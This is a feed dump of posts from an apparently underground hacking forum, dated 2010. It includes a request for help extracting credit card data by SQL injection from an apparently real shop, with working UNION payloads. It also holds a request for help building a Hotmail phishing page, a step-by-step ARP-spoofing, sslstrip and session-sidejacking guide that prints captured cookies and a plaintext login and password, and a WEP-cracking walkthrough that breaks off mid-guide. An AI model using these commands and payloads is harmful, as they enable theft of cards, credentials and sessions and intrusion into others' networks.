InterN0T - Underground Security Training http://forum.intern0t.net/ en Fri, 03 Sep 2010 11:28:53 GMT vBulletin 60 http://forum.intern0t.net/electric/misc/rss.jpg InterN0T - Underground Security Training http://forum.intern0t.net/ SQLi help http://forum.intern0t.net/general-hacking-discussions/3027-sqli-help.html Thu, 02 Sep 2010 20:56:29 GMT Need help.Im not so good in SQLi. I have vulnerable site. I found the number of columns,and i know version (5.083-log). So my next step is to find... Need help.Im not so good in SQLi.
I have vulnerable site.
I found the number of columns,and i know version (5.083-log).
So my next step is to find tables.I use this: hxxp://xxxxxx.com/index.php?what=cat_id=39 union all select 1,2,3,4,table_name,6,7,8,9,10,11 from information_schema.tables--

and I got tables:

codes

gateways

orders

transactions

So I want to see columns in table orders,so I use: hxxp://xxxxxx.com/index.php?what=cat_id=39 union all select 1,2,3,4,column_name,6,7,8,9,10,11 from information_schema.columns where table_name=char(111,114,100,101,114,115)--

and i get columns:

orders_id

customers_id

customers_name

customers_company

customers_street_address

customers_suburb

customers_city

customers_postcode

customers_state

customers_country

customers_telephone

customers_email_address

customers_address_format_id

delivery_name

delivery_company

delivery_street_address

delivery_suburb

delivery_city

delivery_postcode

delivery_state

delivery_country

delivery_address_format_id

billing_name

billing_company

billing_street_address

billing_suburb

billing_city

billing_postcode

billing_state

billing_country

billing_address_format_id

payment_method

cc_type

cc_owner

cc_number

cc_expires

last_modified

date_purchased

orders_status

orders_date_finished

currency

currency_value

id

amount

And now I have a problem.I cant extract data from that columns.I tryed,but always error.
Can someone give some tip or something ?
Or is there some good sqli tool that use authentication like username:password, because I need to login to the vulnerable site to exploit it.
Thanks in advance. ]]> General Hacking Discussions Doozer http://forum.intern0t.net/general-hacking-discussions/3027-sqli-help.html Article Wikileads Move Servers to Nuclear Bunker http://forum.intern0t.net/security-news-feeds/3025-wikileads-move-servers-nuclear-bunker.html Thu, 02 Sep 2010 15:36:24 GMT ---Quote--- The Wikileaks whistleblowing website has reportedly moved its server hosting to a Cold War bunker deep under the streets of Stockholm. ...
Quote:
The Wikileaks whistleblowing website has reportedly moved its server hosting to a Cold War bunker deep under the streets of Stockholm.

According to a Norwegian magazine that broke the story (credit to Forbes blogger Andy Greenberg), Wikileaks' servers are now housed 30 metres (100 feet) underground in the 4,000 metre square Pionen White Mountains data centre, famous for a studied 'James Bond' design blasted from solid rock in the 1960s.

Said in its heyday to be able to withstand an H-bomb, with entrance doors made from 40cm (16 inch) steel, Pionen was remodelled by Swedish ISP, Banhoff, two years ago.

The hosting arrangement was brokered by Swedish political party, the Pirate Party, some weeks ago, which is believed to be covering costs.

It is an appropriate place to co-locate Wikileaks' servers on every level, including metaphorically. Days ago it was announced that Wikileaks' founder Julian Assange is to be questioned over allegations of 'molestation' by Swedish authorities, which came in the wake of the site making public its hugely controversial Afghan War Diary of top secret NATO military and intelligence reports.

The site and its founder often characterise the organisation as under siege from outside forces, and an enraged US military establishment in particular.

The site is so secretive that a separate site has even been set up for people to submit secret information on Wikileaks' backers, operations and inner organisation, all of which remain mysterious.
Original article:
Wikileaks servers move to nuclear bunker under Stockholm ]]> Security News and Feeds agriloan http://forum.intern0t.net/security-news-feeds/3025-wikileads-move-servers-nuclear-bunker.html Question Hotmail/ Live Phishing Page Problem http://forum.intern0t.net/general-hacking-discussions/3024-hotmail-live-phishing-page-problem.html Thu, 02 Sep 2010 14:48:14 GMT i am trying to make a Hotmail/ Live phishing page. But i dont find the 'action=' code in the source code. I think they changed the source code lately. Any idea how to make it work with the new one? ]]> General Hacking Discussions Frenzy http://forum.intern0t.net/general-hacking-discussions/3024-hotmail-live-phishing-page-problem.html Guide Sidejacking with SSL Stripping http://forum.intern0t.net/offensive-guides-information/3023-sidejacking-ssl-stripping.html Thu, 02 Sep 2010 08:42:40 GMT Sidejacking with Hamster/Ferret with SSL Strip Tools used within this tutorial. arpspoof sslstrip Hamster/Ferret AWUS 036H... Sidejacking with Hamster/Ferret with SSL Strip


Tools used within this tutorial.


arpspoof
sslstrip
Hamster/Ferret
AWUS 036H wireless card


Scenario: Using Hamster/Ferret to session sidejacking a target at your local free wifi spot.


Prerequisites: Connect to the AP of your choice, and do a ping sweep to determine who is on that network.


For simplicity I am using my own network this time, however I am going under the wireless interface of wlan0 on my host box. I am connected to my AP on my host machine, and that wireless adapter is bridged to my virtual machine.


root@bt:~# nmap -sP 192.168.1.1-255


Starting Nmap 5.00 ( Nmap - Free Security Scanner For Network Exploration & Security Audits. ) at 2010-09-01 23:39 CDT
Host DD-WRT (192.168.1.1) is up (0.010s latency).
MAC Address: 00:24:A5:AD:79:59 (Buffalo)
Host bt (192.168.1.140) is up.
Host Wizardsfire (192.168.1.120) is up (0.0017s latency).
MAC Address: 00:C0:CA:33:7F:72 (ALFA)
Nmap done: 255 IP addresses (3 hosts up) scanned in 4.20 seconds


so now lets analyze a list of potential targets


192168.1.1 (DD-WRT) this is a router
192.168.1.140 (BT) This is the attacking computer
192.168.1.120 (WizardsFire) this would be the victim


So now that we know were going to attack 192168.1.120 we need to use arpspoof.


BUT before that we need to enable ip forwarding


Code:
echo 1 > /proc/sys/net/ipv4/ip_forward
The #1 simply means your turning it on.


Now for arpspoof


root@bt:~# arpspoof -i eth0 -t 192.168.1.120 192.168.1.1


If your successful you should see something similar below. When you do minimize this window.


Code:
8:0:27:5:25:8d 0:0:0:0:0:0 0806 42: arp reply 192.168.1.1 is-at 8:0:27:5:25:8d
 8:0:27:5:25:8d 0:0:0:0:0:0 0806 42: arp reply 192.168.1.1 is-at 8:0:27:5:25:8d

Now we need to configure our iptables to reroute the traffic from port 80 to sslstrip's default port of 10000.


Code:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Now we need to setup sslstrip


Code:
sslstrip -p -k -f -w decryptedlogfile

-p is logs only SSL posts (default option)
-k kills sessions that are in progress (if any)
-f substitutes a lock favicon on secure requests
-w write the captured info to a filename of your choice.


Now I don't know about you but sometimes I forget where things are..in this case it was hamster which is what we will be firing up in just a few moments.


Code:
locate hamster 
 /opt/metasploit3/msf3/data/exploits/capture/http/forms/xhamster.com.txt
 /opt/metasploit3/msf3/data/exploits/capture/http/forms/.svn/text-base/xhamster.com.txt.svn-base
 /pentest/sniffers/hamster
 /pentest/sniffers/hamster/favicon.ico
 /pentest/sniffers/hamster/ferret
 /pentest/sniffers/hamster/hamster
 /pentest/sniffers/hamster/hamster.css
 /pentest/sniffers/hamster/hamster.js
 /var/lib/dpkg/info/hamster.changelog
 /var/lib/dpkg/info/hamster.copyright
 /var/lib/dpkg/info/hamster.list

Based on the ^ we can see that what I want is in the /pentest/sniffers/hamster directory.


So do the following


Code:
cd /pentest/sniffers/hamster/

Now do the following


Code:
root@bt:/pentest/sniffers/hamster# ./hamster
If Sucessful you will see something similar


Code:
--- HAMPSTER 2.0 side-jacking tool ---
 begining thread
 Set browser to use proxy http://127.0.0.1:1234
 DEBUG: set_ports_option(1234)
 DEBUG: mg_open_listening_port(1234)
 Proxy: listening on 127.0.0.1:

Now make sure you input the following for the http proxy portion of firefox (this step allows us to access hamster)


Click on Edit>Options>Advanced>Network> Connect Settings.


Then enter under http proxy the following 127.0.0.1 and the port is 1234


NOTE: make sure to also tick the manual proxy configuration bubble.


Now enter 127.0.0.1:1234 into your URL bar


Your now looking at the hamster interface.


Click on adapters and in this case I'm going to select eth0 as that's what I'm using.


Now if your successful you will start to see the packets go up.


Now on the victims machine I'm going to log into my email account.


Victim types in www.mail..com and enters his/her credentials.


Now you will notice on hamster you will see 192.168.1.120 pop up (victims ip)


Click on that


Now click on cookie info and you should see something similar


Code:
[us.mc451.mail.yahoo.com]
 

    * /mc/welcome
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&v=1
          o AICookieTest = 245
          o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-
          o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
    * /mc/fc
          o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&v=1
          o AICookieTest = 245
          o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss- 
    * /mc/nc
          o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&v=1
          o AICookieTest = 245
          o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss- 
    * /mc/showMessage
          o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o AICookieTest = 245
          o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss- 
    * /galaxy/friends.php
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
    * /mc/showFolder
          o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--
          o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&v=1
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o AICookieTest = 245
          o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss- 
    * /mc/compose
          o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--
          o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&v=1
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o AICookieTest = 245
          o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss- 
    * /mc/mail
          o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--
          o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&v=1
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o AICookieTest = 245
          o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss- 
    * /
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
    * /mc/md.php
          o YM.GX = r9To33zxvBxDkSlGloa2xwG5iARxWJKPKj0IoFPv.Lps_gwbqXRT16dk1NzSNE1krzKLTr.aYdlxrkqbIiHul6jV8n0H6kEoCcthE6gjT4BEB1mZ50MUX.HRM1ljww--
          o MG = d=ctRc14rR5DbhuSHxsD8Vwv.8Bf22tvlG6co3Qnxru4DgbPE0Pl.4ncsY1mFM8gba4CpVqqS_FIm5X2w_h5tziKrTW6d9pug-&v=1
          o AICookieTest = 245
          o YM.MGC = uyUU61Z9hT48WFzVU4fC7N9fbD6BdQvqtss-
          o T = z=Iz1fMBIHdkMBd2UWO9RN5X1MzI2BjU2TjYwME4yMDQ-&a=QAE&sk=DAA6mv9yAM2u5c&ks=EAAUM2hoiSTfVsd_8k90_2Phw--~E&d=c2wBTkRVeEFUSXhPVEUzTnprMU56TS0BYQFRQUUBZwFUT0tWM1ZONkVRNkZKQlM3WFFFN0JXTzI2SQF0aXABWXNLUDZCAXp6AUl6MWZNQkE3RQ--
          o PH = fn=F7.KSky_NtjqnNkM2JIG&l=en-US
          o Y = v=1&n=03pcanilpo8vp&l=m8220dbeh3rssr/o&p=m2o1th4013000000&jb=27|47|&r=cg&lg=en-US&intl=us&np=1
          o F = a=CGUlau0MvTToHoKTP_g7Di0M0bQwP_.TDRmyIg2m4xtuv3ZQtnEjkT4gGFGyj6jwlw3R7bw-&b=B7aH
          o B = eair0gp67un5r&b=4&d=Y.Ivp15pYELsUqMUHzmmW3ecyZOqxjjOVeKoyQ--&s=ti&i=epROpk0yjlKH5lYEXqfq

Now for the sake of pages the ^ is what you need to look for. When you do you go back to the hyperlinks within hamster and click on one that looks like this


http://mail.yahoo.com/


Click the ^ and you will see the targets inbox


Now you can save all the cookies you have collected and analyze them for later, however to be honest that's a little more than I've experimented with thus far.


Remember the sslstrip log I had you create?


Well here's where it comes in handy.


If you use your favorite text editor to open decryptedlog you should see something close to the following


Code:
2010-09-02 03:13:56,516 SECURE POST Data (login.yahoo.com): .tries=1&.src=ym&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=9h803c967un5r&.v=0&.challenge=dyPV3mcewPyQV.eKfr3rGQG1JrAu&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmail.yahoo.com&.pd=ym_ver%3D0%26c%3D%26ivt%3D%26sg%3D&pad=5&aad=5&login=wiccanlord&passwd=g-student&.save=

The string you want is right here


Code:
login=wiccanlord&passwd=g-student&.save=

Login: wiccanlord
password: g-student


Countermeasures


  • Pay attention to your url bar, if it usually says HTTPS say for banking, email, etc..DO NOT type in your credentials when it says http.
  • Log out of your web-sessions when your finished
  • check your log files on the sites of which you log into, if it does not match what you think it should, more than likely you've been attacked.


I hope you enjoyed this tutorial


Securityxxxpert ]]> securityxxxpert http://forum.intern0t.net/offensive-guides-information/3023-sidejacking-ssl-stripping.html Javascript proxy http://forum.intern0t.net/web-programming/3022-javascript-proxy.html Wed, 01 Sep 2010 13:47:16 GMT I'm trying to make a page that (like proxy) redicts browser to another site, without changin the url (so the url is url of my site).

In my case it would be something like this:

Url: C:\Folder\projects\kjhd.html
Page: Google.com ]]> Web Programming nemesis http://forum.intern0t.net/web-programming/3022-javascript-proxy.html Guide Cracking WEP Without Clients Connected To WAP http://forum.intern0t.net/offensive-guides-information/3019-cracking-wep-without-clients-connected-wap.html Wed, 01 Sep 2010 07:03:22 GMT * 1 - Set the wireless card MAC address * 2 - Start the wireless interface in monitor mode * 3 - Scan for WEP access points * 4 - Pick out which...
  • 1 - Set the wireless card MAC address
  • 2 - Start the wireless interface in monitor mode
  • 3 - Scan for WEP access points
  • 4 - Pick out which WEP AP you want to attack, and associate airodump to that channel/bssid.
  • 5 - Use aireplay-ng chopchop or fragmentation attack to obtain PRGA
  • 6 - Use packetforge-ng to create a ARP packet
  • 7 - Step Inject the ARP packetfrom step #6
  • Final Step – Crack the WEP key


Step 1: Set up the wireless card MAC Address



This isn't really necessary however the command to do so is machange -r mon0
Keep in mind this applies to the card that I have, your interface may be different.
-r (random). By using this flag the mac address generated will be random.


root@bt:~# macchanger -r wlan0
Current MAC: 00:c0:ca:33:7f:72 (Alfa, Inc.)
Faked MAC: 36:b1:e6:05:32:da (unknown)


Step 2: Start the wireless interface in monitor mode


airmong-ng start wlan0


note once again wlan0 is my interface. Feel free to check for yours with the iwconfig command.


You should see the following


root@bt:~# airmon-ng start wlan0




Interface Chipset Driver


wlan0 RTL8187 rtl8187 - [phy0]
(monitor mode enabled on mon1)
mon0 RTL8187 rtl8187 - [phy0]


If you see the “monitor mode enabled” you know your then good to go.


Step 3. Scan for WEP access points



airodump-ng mon0


You should see something like this.


CH 7 ][ Elapsed: 16 s ][ 2010-09-01 00:39


BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID


00:24:A5:AD:79:59 -13 26 0 0 6 54e. WPA2 CCMP PSK PwnSauce
00:1C:10:A1:C1:32 -61 3 0 0 11 54 WEP WEP dusty
00:1B:5B:B3:B5:71 -63 4 2 0 8 54 . WEP WEP 2WIRE486
00:18:39:B1:4D:DD -64 14 0 0 1 54 WPA2 CCMP PSK rocky4191980net
00:19:E4:48:97:A9 -63 11 0 0 1 54 . WEP WEP 2WIRE040
00:18:39:62:34:EE -63 19 0 0 6 54 OPN linksys
00:25:3C:F1:C9:E9 -66 5 0 0 11 54 . WEP WEP 2WIRE266
00:1A:70:00:77:E4 -64 13 0 0 6 54 OPN Moyers
00:18:3F:2B:A2:01 -67 7 0 0 1 54 . WEP WEP 2WIRE305
00:26:50:D0:4D:C9 -69 2 0 0 6 54 . WEP WEP 2WIRE705
00:0F:66:D2:6E:F4 -70 5 0 0 6 54 . WPA TKIP PSK HFNET
00:1D:7E:97:C0:1D -71 4 0 0 1 54e WPA2 CCMP PSK RRlinksys
00:1E:E5:EB:63:6C -69 5 0 0 6 54e. WPA2 CCMP PSK jake wireless
00:23:51:3B:89:D1 -71 3 0 0 3 54 . WEP WEP 2WIRE629
00:24:B2:51:C6:CA -71 3 0 0 1 54e. WPA2 CCMP PSK Pepp-Main-Office2.4Ghz


Step 4. Pick out which WEP AP you want to attack, and associate airodump to that channel/bssid. In this case I have decided on 2WIRE040.



Airodump-ng -c 1 –bssid 00:19:E4:48:97:A9 -w wepcrack mon0


Step 6. Use aireplay-ng to do a fake authentication with the WAP.


Aireplay-ng -1 0 -e 2WIRE040 -a 00:19:E4:48:97:A9 -h 36:b1:e6:05:32:da mon0


-1 mean fake authentication attack
0 is how often it will time out in seconds
-e is the ssid name in this case 2WIRE040
-a is the Access Points MAC
-h is your mac address in this case 36:b1:e6:05:32:da
-w is the file name in this case wepcrack
mon0 is the wireless interface name


you should see something similar to this.


00:47:56 Waiting for beacon frame (BSSID: 00:19:E4:48:97:A9) on channel 1


00:47:56 Sending Authentication Request (Open System) [ACK]
00:47:56 Authentication successful
00:47:56 Sending Association Request [ACK]


00:48:01 Sending Authentication Request (Open System) [ACK]
00:48:01 Authentication successful
00:48:01 Sending Association Request [ACK]
00:48:01 Association successful :-) (AID: 1)


Step 5. Use aireplay-ng chopchop or fragmentation attack to obtain PRGA


Let's use the fragmentation attack first.


Aireplay -5 -b 00:19:E4:48:97:A9 -h 36:b1:e6:05:32:da mon0


-5 is the fragmentation attack
-b is the WAP MAC address in this case 00:19:E4:48:97:A9
-h is your MAC address in this case 36:b1:e6:05:32:da


you should see this


00:51:26 Waiting for beacon frame (BSSID: 00:19:E4:48:97:A9) on channel 1
00:51:26 Waiting for a data packet...
Read 114 packets...


Size: 68, FromDS: 1, ToDS: 0 (WEP)


BSSID = 00:19:E4:48:97:A9
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:19:E4:48:97:A9


0x0000: 0842 0000 ffff ffff ffff 0019 e448 97a9 .B...........H..
0x0010: 0019 e448 97a9 2055 df6b 2c00 2d25 81d7 ...H.. U.k,.-%..
0x0020: c27e 6181 7323 1df2 b8ba 990f 2470 b5c5 .~a.s#......$p..
0x0030: e377 3200 045a 849c 835f a199 3763 6ad6 .w2..Z..._..7cj.
0x0040: c366 64cc .fd.


Use this packet ? Y


Saving chosen packet in replay_src-0901-005130.cap
00:51:40 Data packet found!
00:51:40 Sending fragmented packet
00:51:40 Not enough acks, repeating...
00:51:40 Sending fragmented packet
00:51:42 No answer, repeating...
00:51:42 Trying a LLC NULL packet
00:51:42 Sending fragmented packet
00:51:42 Got RELAYED packet!!
00:51:42 Trying to get 384 bytes of a keystream
00:51:42 Got RELAYED packet!!
00:51:42 Trying to get 1500 bytes of a keystream
00:51:42 Got RELAYED packet!!
Saving keystream in fragment-0901-005142.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream


Was the previous step failboat? If so you might want to use a chopchop attack seen below


aireplay-ng -4 -h 36:b1:e6:05:32 -b 00:19:E4:48:97:A9 mon0


-4 mean the chopchop attack
-h is our hosts mac address in this case 36:b1:e6:05:32
-b is our WAP mac address in this case 00:19:E4:48:97:A9
mon0 is the wireless interface


You should see something similar


.
